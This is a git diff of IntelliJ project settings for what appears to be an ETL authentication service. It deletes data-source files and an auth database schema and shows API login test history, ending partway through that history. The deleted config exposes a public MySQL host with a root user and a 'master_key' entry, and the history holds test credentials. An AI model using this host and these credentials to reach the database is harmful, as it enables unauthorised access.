diff --git a/.idea/compiler.xml b/.idea/compiler.xml
index 1ba2501..0bdb031 100644
--- a/.idea/compiler.xml
+++ b/.idea/compiler.xml
@@ -7,18 +7,13 @@
-
-
-
+
-
+
+
-
-
-
-
\ No newline at end of file
diff --git a/.idea/dataSources.local.xml b/.idea/dataSources.local.xml
deleted file mode 100644
index 8dd536c..0000000
--- a/.idea/dataSources.local.xml
+++ /dev/null
@@ -1,19 +0,0 @@
-
-
-
-
-
- #@
- `
-
-
- master_key
- root
-
-
-
-
-
-
-
-
\ No newline at end of file
diff --git a/.idea/dataSources.xml b/.idea/dataSources.xml
deleted file mode 100644
index edcfb44..0000000
--- a/.idea/dataSources.xml
+++ /dev/null
@@ -1,12 +0,0 @@
-
-
-
-
- mysql.8
- true
- com.mysql.cj.jdbc.Driver
- jdbc:mysql://115.159.33.152:3306
- $ProjectFileDir$
-
-
-
\ No newline at end of file
diff --git a/.idea/dataSources/6b8f28b8-a5cd-487d-8bae-93c3ccefe4a9.xml b/.idea/dataSources/6b8f28b8-a5cd-487d-8bae-93c3ccefe4a9.xml
deleted file mode 100644
index 9c1bafb..0000000
--- a/.idea/dataSources/6b8f28b8-a5cd-487d-8bae-93c3ccefe4a9.xml
+++ /dev/null
@@ -1,279 +0,0 @@
-
-
-
-
- lower/lower
- InnoDB
- InnoDB
- 5.7.36
-
-
- utf8mb4_general_ci
-
-
- 2024-06-24.16:01:07
- 2024-06-24.08:01:05
- utf8mb4_general_ci
-
-
- utf8mb4_general_ci
-
-
- utf8mb4_general_ci
-
-
- utf8_general_ci
-
-
- utf8mb4_general_ci
-
-
- utf8mb4_general_ci
-
-
- utf8mb4_general_ci
-
-
- utf8mb4_general_ci
-
-
- utf8mb4_general_ci
-
-
- utf8mb4_general_ci
-
-
- utf8mb4_general_ci
-
-
- utf8mb4_general_ci
-
-
- utf8_general_ci
-
-
- utf8mb4_general_ci
-
-
- utf8mb4_general_ci
-
-
- utf8mb4_general_ci
-
-
- utf8mb4_general_ci
-
-
- utf8mb4_general_ci
-
-
- utf8_general_ci
-
-
- utf8mb4_unicode_ci
-
-
- utf8mb4_general_ci
-
-
- 数据资源表
- InnoDB
- utf8mb4_general_ci
-
-
- 角色表
- InnoDB
- utf8mb4_general_ci
-
-
- 角色和资源表映射关系
- InnoDB
- utf8mb4_general_ci
-
-
- 用户表
- InnoDB
- utf8mb4_general_ci
-
-
- 用户表和角色表映射
- InnoDB
- utf8mb4_general_ci
-
-
- 2
- int(11)|0s
- 1
- 1
-
-
- 权限代号
- varchar(255)|0s
- 2
-
-
- 路由层次
- varchar(255)|0s
- 3
-
-
- 路由
- varchar(255)|0s
- 4
-
-
- 功能描述
- varchar(255)|0s
- 5
-
-
- 状态 0-废弃 1-正在使用
- tinyint(4)|0s
- 6
-
-
- id
- btree
- 1
-
-
- 1
- 1
- PRIMARY
-
-
- 3
- int(11)|0s
- 1
- 1
-
-
- 角色名称
- varchar(34)|0s
- 2
-
-
- 角色具体描述
- varchar(36)|0s
- 3
-
-
- id
- btree
- 1
-
-
- 1
- 1
- PRIMARY
-
-
- 4
- int(11)|0s
- 1
- 1
-
-
- varchar(255)|0s
- 2
-
-
- 可以访问的路由编码
- varchar(255)|0s
- 3
-
-
- id
- btree
- 1
-
-
- 1
- 1
- PRIMARY
-
-
- 3
- int(11)|0s
- 1
- 1
-
-
- 用户名
- varchar(50)|0s
- 2
-
-
- 密码
- varchar(255)|0s
- 3
-
-
- 角色
- varchar(50)|0s
- 4
-
-
- 手机号码
- varchar(32)|0s
- 5
-
-
- 状态 1-正常 2-废弃
- int(11)|0s
- 6
-
-
- 电子邮箱
- varchar(255)|0s
- 7
-
-
- 账号
- varchar(255)|0s
- 8
-
-
- text|0s
- 9
-
-
- id
- btree
- 1
-
-
- 1
- 1
- PRIMARY
-
-
- 3
- int(11)|0s
- 1
- 1
-
-
- varchar(255)|0s
- 2
-
-
- varchar(255)|0s
- 3
-
-
- varchar(255)|0s
- 4
-
-
- id
- btree
- 1
-
-
- 1
- 1
- PRIMARY
-
-
-
\ No newline at end of file
diff --git a/.idea/dataSources/6b8f28b8-a5cd-487d-8bae-93c3ccefe4a9/storage_v2/_src_/schema/etl.nYkBAA.meta b/.idea/dataSources/6b8f28b8-a5cd-487d-8bae-93c3ccefe4a9/storage_v2/_src_/schema/etl.nYkBAA.meta
deleted file mode 100644
index 904c6e4..0000000
--- a/.idea/dataSources/6b8f28b8-a5cd-487d-8bae-93c3ccefe4a9/storage_v2/_src_/schema/etl.nYkBAA.meta
+++ /dev/null
@@ -1,2 +0,0 @@
-#n:etl
-! [1719216067000, 0, null, null, -2147483648, -2147483648]
diff --git a/.idea/dataSources/6b8f28b8-a5cd-487d-8bae-93c3ccefe4a9/storage_v2/_src_/schema/information_schema.FNRwLQ.meta b/.idea/dataSources/6b8f28b8-a5cd-487d-8bae-93c3ccefe4a9/storage_v2/_src_/schema/information_schema.FNRwLQ.meta
deleted file mode 100644
index 1ff3db2..0000000
--- a/.idea/dataSources/6b8f28b8-a5cd-487d-8bae-93c3ccefe4a9/storage_v2/_src_/schema/information_schema.FNRwLQ.meta
+++ /dev/null
@@ -1,2 +0,0 @@
-#n:information_schema
-! [null, 0, null, null, -2147483648, -2147483648]
diff --git a/.idea/dataSources/6b8f28b8-a5cd-487d-8bae-93c3ccefe4a9/storage_v2/_src_/schema/mysql.osA4Bg.meta b/.idea/dataSources/6b8f28b8-a5cd-487d-8bae-93c3ccefe4a9/storage_v2/_src_/schema/mysql.osA4Bg.meta
deleted file mode 100644
index 86a53f1..0000000
--- a/.idea/dataSources/6b8f28b8-a5cd-487d-8bae-93c3ccefe4a9/storage_v2/_src_/schema/mysql.osA4Bg.meta
+++ /dev/null
@@ -1,2 +0,0 @@
-#n:mysql
-! [null, 0, null, null, -2147483648, -2147483648]
diff --git a/.idea/dataSources/6b8f28b8-a5cd-487d-8bae-93c3ccefe4a9/storage_v2/_src_/schema/performance_schema.kIw0nw.meta b/.idea/dataSources/6b8f28b8-a5cd-487d-8bae-93c3ccefe4a9/storage_v2/_src_/schema/performance_schema.kIw0nw.meta
deleted file mode 100644
index 9394db1..0000000
--- a/.idea/dataSources/6b8f28b8-a5cd-487d-8bae-93c3ccefe4a9/storage_v2/_src_/schema/performance_schema.kIw0nw.meta
+++ /dev/null
@@ -1,2 +0,0 @@
-#n:performance_schema
-! [null, 0, null, null, -2147483648, -2147483648]
diff --git a/.idea/dataSources/6b8f28b8-a5cd-487d-8bae-93c3ccefe4a9/storage_v2/_src_/schema/sys.zb4BAA.meta b/.idea/dataSources/6b8f28b8-a5cd-487d-8bae-93c3ccefe4a9/storage_v2/_src_/schema/sys.zb4BAA.meta
deleted file mode 100644
index 2f4470b..0000000
--- a/.idea/dataSources/6b8f28b8-a5cd-487d-8bae-93c3ccefe4a9/storage_v2/_src_/schema/sys.zb4BAA.meta
+++ /dev/null
@@ -1,2 +0,0 @@
-#n:sys
-! [null, 0, null, null, -2147483648, -2147483648]
diff --git a/.idea/easyCodeTableSetting.xml b/.idea/easyCodeTableSetting.xml
deleted file mode 100644
index 09e6015..0000000
--- a/.idea/easyCodeTableSetting.xml
+++ /dev/null
@@ -1,87 +0,0 @@
-
-
-
-
-
-
\ No newline at end of file
diff --git a/.idea/encodings.xml b/.idea/encodings.xml
index ad79a25..603407b 100644
--- a/.idea/encodings.xml
+++ b/.idea/encodings.xml
@@ -15,16 +15,10 @@
-
-
-
-
-
-
diff --git a/.idea/inspectionProfiles/Project_Default.xml b/.idea/inspectionProfiles/Project_Default.xml
index ee9f695..8d66637 100644
--- a/.idea/inspectionProfiles/Project_Default.xml
+++ b/.idea/inspectionProfiles/Project_Default.xml
@@ -1,68 +1,5 @@
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
\ No newline at end of file
diff --git a/.idea/misc.xml b/.idea/misc.xml
index 944e70f..d68b839 100644
--- a/.idea/misc.xml
+++ b/.idea/misc.xml
@@ -4,28 +4,16 @@
-
-
-
-
-
-
-
-
+
+
\ No newline at end of file
diff --git a/.idea/modules.xml b/.idea/modules.xml
index f238179..e5536fd 100644
--- a/.idea/modules.xml
+++ b/.idea/modules.xml
@@ -2,7 +2,7 @@
-
+
\ No newline at end of file
diff --git a/.idea/uiDesigner.xml b/.idea/uiDesigner.xml
deleted file mode 100644
index 2b63946..0000000
--- a/.idea/uiDesigner.xml
+++ /dev/null
@@ -1,124 +0,0 @@
-
-
-
-
- -
-
-
- -
-
-
- -
-
-
- -
-
-
- -
-
-
-
-
-
- -
-
-
-
-
-
- -
-
-
-
-
-
- -
-
-
-
-
-
- -
-
-
-
-
- -
-
-
-
-
- -
-
-
-
-
- -
-
-
-
-
- -
-
-
-
-
- -
-
-
-
-
- -
-
-
- -
-
-
-
-
- -
-
-
-
-
- -
-
-
-
-
- -
-
-
-
-
- -
-
-
-
-
- -
-
-
- -
-
-
- -
-
-
- -
-
-
- -
-
-
-
-
- -
-
-
- -
-
-
-
-
-
\ No newline at end of file
diff --git a/.idea/workspace.xml b/.idea/workspace.xml
index 4b646b6..3bb657d 100644
--- a/.idea/workspace.xml
+++ b/.idea/workspace.xml
@@ -4,48 +4,254 @@
-
-
-
-
-
-
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
-
-
-
-
-
-
-
-
-
-
-
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
-
-
-
+
+
+
+
+
+
+
+
+
+
-
+
+
+
-
+
+
-
-
+
+
+
+
+
+
+
-
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
-
-
-
@@ -55,22 +261,8 @@
-
-
-
-
-
-
-
-
-
-
-
-
@@ -87,19 +279,14 @@
-
-
-
-
+
{
"keyToString": {
- "ASKED_SHARE_PROJECT_CONFIGURATION_FILES": "true",
- "ApiPost:METDOD_SEND_RECORD:etl-auth": "{\"/login\":[{\"url\":\"http://localhost:9090/login\",\"header\":[{\"is_checked\":1,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"roles\\\": \\\"员工\\\",\\n \\\"username\\\": \\\"张三\\\",\\n \\\"password\\\": \\\"李四\\\"\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 416,\\n \\\"message\\\": \\\"用户不存在\\\",\\n \\\"data\\\": \\\"张三\\\"\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024,\"month\":6,\"day\":21},\"time\":{\"hour\":16,\"minute\":51,\"second\":31,\"nano\":703777500}}}]}",
- "ApiPost:METDOD_SEND_RECORD:etl-auth-server": "{\"/login\":[{\"url\":\"http://localhost:9092/login\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"\\n{\\n \\\"username\\\": \\\"liz\\\",\\n \\\"password\\\": \\\"123\\\"\\n}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:9092/login\\n\\n\\u003chtml\\u003e\\u003cbody\\u003e\\u003ch1\\u003eWhitelabel Error Page\\u003c/h1\\u003e\\u003cp\\u003eThis application has no explicit mapping for /error, so you are seeing this as a fallback.\\u003c/p\\u003e\\u003cdiv id\\u003d\\u0027created\\u0027\\u003eSat Jun 22 14:07:23 CST 2024\\u003c/div\\u003e\\u003cdiv\\u003eThere was an unexpected error (type\\u003dUnsupported Media Type, status\\u003d415).\\u003c/div\\u003e\\u003c/body\\u003e\\u003c/html\\u003e\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":22.0},\"time\":{\"hour\":14.0,\"minute\":7.0,\"second\":23.0,\"nano\":9.729855E8}}},{\"url\":\"http://localhost:9092/login\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"username\\\": \\\"liz\\\",\\n \\\"password\\\": \\\"123\\\"\\n}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:9092/login\\n\\n\\u003chtml\\u003e\\u003cbody\\u003e\\u003ch1\\u003eWhitelabel Error Page\\u003c/h1\\u003e\\u003cp\\u003eThis application has no explicit mapping for /error, so you are seeing this as a fallback.\\u003c/p\\u003e\\u003cdiv id\\u003d\\u0027created\\u0027\\u003eSat Jun 22 14:07:37 CST 2024\\u003c/div\\u003e\\u003cdiv\\u003eThere was an unexpected error (type\\u003dInternal Server Error, status\\u003d500).\\u003c/div\\u003e\\u003c/body\\u003e\\u003c/html\\u003e\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":22.0},\"time\":{\"hour\":14.0,\"minute\":7.0,\"second\":37.0,\"nano\":1.949279E8}}},{\"url\":\"http://localhost:9092/login\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"username\\\": \\\"liz\\\",\\n \\\"password\\\": \\\"123\\\"\\n}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:9092/login\\n\\n\\u003chtml\\u003e\\u003cbody\\u003e\\u003ch1\\u003eWhitelabel Error Page\\u003c/h1\\u003e\\u003cp\\u003eThis application has no explicit mapping for /error, so you are seeing this as a fallback.\\u003c/p\\u003e\\u003cdiv id\\u003d\\u0027created\\u0027\\u003eSat Jun 22 14:09:22 CST 2024\\u003c/div\\u003e\\u003cdiv\\u003eThere was an unexpected error (type\\u003dInternal Server Error, status\\u003d500).\\u003c/div\\u003e\\u003c/body\\u003e\\u003c/html\\u003e\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":22.0},\"time\":{\"hour\":14.0,\"minute\":9.0,\"second\":22.0,\"nano\":9.608351E8}}},{\"url\":\"http://localhost:9092/login\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"username\\\": \\\"liz\\\",\\n \\\"password\\\": \\\"123\\\"\\n}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:9092/login\\n\\n\\u003chtml\\u003e\\u003cbody\\u003e\\u003ch1\\u003eWhitelabel Error Page\\u003c/h1\\u003e\\u003cp\\u003eThis application has no explicit mapping for /error, so you are seeing this as a fallback.\\u003c/p\\u003e\\u003cdiv id\\u003d\\u0027created\\u0027\\u003eSat Jun 22 14:21:13 CST 2024\\u003c/div\\u003e\\u003cdiv\\u003eThere was an unexpected error (type\\u003dInternal Server Error, status\\u003d500).\\u003c/div\\u003e\\u003c/body\\u003e\\u003c/html\\u003e\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":22.0},\"time\":{\"hour\":14.0,\"minute\":21.0,\"second\":13.0,\"nano\":6.798832E8}}},{\"url\":\"http://localhost:9092/login\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"username\\\": \\\"liz\\\",\\n \\\"password\\\": \\\"123\\\"\\n}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:9092/login\\n\\n\\u003chtml\\u003e\\u003cbody\\u003e\\u003ch1\\u003eWhitelabel Error Page\\u003c/h1\\u003e\\u003cp\\u003eThis application has no explicit mapping for /error, so you are seeing this as a fallback.\\u003c/p\\u003e\\u003cdiv id\\u003d\\u0027created\\u0027\\u003eSat Jun 22 14:23:28 CST 2024\\u003c/div\\u003e\\u003cdiv\\u003eThere was an unexpected error (type\\u003dInternal Server Error, status\\u003d500).\\u003c/div\\u003e\\u003c/body\\u003e\\u003c/html\\u003e\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":22.0},\"time\":{\"hour\":14.0,\"minute\":23.0,\"second\":28.0,\"nano\":7.10659E8}}},{\"url\":\"http://localhost:9092/login\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"username\\\": \\\"liz\\\",\\n \\\"password\\\": \\\"123\\\"\\n}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:9092/login\\n\\n\\u003chtml\\u003e\\u003cbody\\u003e\\u003ch1\\u003eWhitelabel Error Page\\u003c/h1\\u003e\\u003cp\\u003eThis application has no explicit mapping for /error, so you are seeing this as a fallback.\\u003c/p\\u003e\\u003cdiv id\\u003d\\u0027created\\u0027\\u003eSun Jun 23 09:02:32 CST 2024\\u003c/div\\u003e\\u003cdiv\\u003eThere was an unexpected error (type\\u003dInternal Server Error, status\\u003d500).\\u003c/div\\u003e\\u003c/body\\u003e\\u003c/html\\u003e\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":23.0},\"time\":{\"hour\":9.0,\"minute\":2.0,\"second\":32.0,\"nano\":3.731298E8}}},{\"url\":\"http://localhost:9092/login\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"username\\\": \\\"liz\\\",\\n \\\"password\\\": \\\"123\\\"\\n}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:9092/login\\n\\n\\u003chtml\\u003e\\u003cbody\\u003e\\u003ch1\\u003eWhitelabel Error Page\\u003c/h1\\u003e\\u003cp\\u003eThis application has no explicit mapping for /error, so you are seeing this as a fallback.\\u003c/p\\u003e\\u003cdiv id\\u003d\\u0027created\\u0027\\u003eSun Jun 23 09:22:18 CST 2024\\u003c/div\\u003e\\u003cdiv\\u003eThere was an unexpected error (type\\u003dInternal Server Error, status\\u003d500).\\u003c/div\\u003e\\u003c/body\\u003e\\u003c/html\\u003e\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":23.0},\"time\":{\"hour\":9.0,\"minute\":22.0,\"second\":18.0,\"nano\":5.834518E8}}},{\"url\":\"http://localhost:9092/login\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"id\\\": 1,\\n \\\"roles\\\": \\\"\\\",\\n \\\"username\\\": \\\"\\\",\\n \\\"password\\\": \\\"\\\"\\n}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:9092/login\\n\\n\\u003chtml\\u003e\\u003cbody\\u003e\\u003ch1\\u003eWhitelabel Error Page\\u003c/h1\\u003e\\u003cp\\u003eThis application has no explicit mapping for /error, so you are seeing this as a fallback.\\u003c/p\\u003e\\u003cdiv id\\u003d\\u0027created\\u0027\\u003eSun Jun 23 09:22:44 CST 2024\\u003c/div\\u003e\\u003cdiv\\u003eThere was an unexpected error (type\\u003dInternal Server Error, status\\u003d500).\\u003c/div\\u003e\\u003c/body\\u003e\\u003c/html\\u003e\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":23.0},\"time\":{\"hour\":9.0,\"minute\":22.0,\"second\":44.0,\"nano\":1.305351E8}}},{\"url\":\"http://localhost:9092/login\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"id\\\": 1,\\n \\\"roles\\\": \\\"\\\",\\n \\\"username\\\": \\\"\\\",\\n \\\"password\\\": \\\"\\\"\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 416,\\n \\\"message\\\": \\\"账户异常\\\",\\n \\\"data\\\": \\\"\\\"\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":23.0},\"time\":{\"hour\":9.0,\"minute\":26.0,\"second\":10.0,\"nano\":8.168256E8}}},{\"url\":\"http://localhost:9092/login\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"username\\\": \\\"liz\\\",\\n \\\"password\\\": \\\"123\\\"\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 416,\\n \\\"message\\\": \\\"账户异常\\\",\\n \\\"data\\\": \\\"liz\\\"\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":23.0},\"time\":{\"hour\":9.0,\"minute\":27.0,\"second\":6.0,\"nano\":1.442263E8}}},{\"url\":\"http://localhost:9092/login\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"username\\\": \\\"liz\\\",\\n \\\"password\\\": \\\"123\\\"\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 416,\\n \\\"message\\\": \\\"账户异常\\\",\\n \\\"data\\\": \\\"liz\\\"\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":23.0},\"time\":{\"hour\":9.0,\"minute\":38.0,\"second\":15.0,\"nano\":8.886247E8}}},{\"url\":\"http://localhost:9092/login\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"username\\\": \\\"liz\\\",\\n \\\"password\\\": \\\"123\\\"\\n}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:9092/login\\n\\n\\u003chtml\\u003e\\u003cbody\\u003e\\u003ch1\\u003eWhitelabel Error Page\\u003c/h1\\u003e\\u003cp\\u003eThis application has no explicit mapping for /error, so you are seeing this as a fallback.\\u003c/p\\u003e\\u003cdiv id\\u003d\\u0027created\\u0027\\u003eSun Jun 23 09:39:05 CST 2024\\u003c/div\\u003e\\u003cdiv\\u003eThere was an unexpected error (type\\u003dInternal Server Error, status\\u003d500).\\u003c/div\\u003e\\u003c/body\\u003e\\u003c/html\\u003e\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":23.0},\"time\":{\"hour\":9.0,\"minute\":39.0,\"second\":5.0,\"nano\":3.175089E8}}},{\"url\":\"http://localhost:9092/login\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"id\\\": 1,\\n \\\"roles\\\": \\\"\\\",\\n \\\"username\\\": \\\"\\\",\\n \\\"password\\\": \\\"\\\"\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 416,\\n \\\"message\\\": \\\"账户异常\\\",\\n \\\"data\\\": \\\"\\\"\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":23.0},\"time\":{\"hour\":9.0,\"minute\":41.0,\"second\":23.0,\"nano\":6.34276E7}}},{\"url\":\"http://localhost:9092/login\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"username\\\": \\\"liz\\\",\\n \\\"password\\\": \\\"123\\\"\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 416,\\n \\\"message\\\": \\\"账户异常\\\",\\n \\\"data\\\": \\\"liz\\\"\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":23.0},\"time\":{\"hour\":9.0,\"minute\":42.0,\"second\":6.0,\"nano\":3.352958E8}}},{\"url\":\"http://localhost:9092/login\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"username\\\": \\\"liz\\\",\\n \\\"password\\\": \\\"123\\\"\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 416,\\n \\\"message\\\": \\\"账户异常\\\",\\n \\\"data\\\": \\\"liz\\\"\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":23.0},\"time\":{\"hour\":9.0,\"minute\":45.0,\"second\":43.0,\"nano\":2866900.0}}},{\"url\":\"http://localhost:9092/login\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"username\\\": \\\"liz\\\",\\n \\\"password\\\": \\\"123\\\"\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 416,\\n \\\"message\\\": \\\"账户异常\\\",\\n \\\"data\\\": \\\"liz\\\"\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":23.0},\"time\":{\"hour\":9.0,\"minute\":55.0,\"second\":32.0,\"nano\":5.916648E8}}},{\"url\":\"http://localhost:9092/login\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"username\\\": \\\"liz\\\",\\n \\\"password\\\": \\\"123\\\"\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 416,\\n \\\"message\\\": \\\"账户异常\\\",\\n \\\"data\\\": \\\"liz\\\"\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":23.0},\"time\":{\"hour\":9.0,\"minute\":55.0,\"second\":32.0,\"nano\":8.777288E8}}},{\"url\":\"http://localhost:9092/login\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"username\\\": \\\"liz\\\",\\n \\\"password\\\": \\\"123\\\"\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 416,\\n \\\"message\\\": \\\"账户异常\\\",\\n \\\"data\\\": \\\"liz\\\"\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":23.0},\"time\":{\"hour\":10.0,\"minute\":4.0,\"second\":25.0,\"nano\":9.910561E8}}},{\"url\":\"http://localhost:9092/login\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"username\\\": 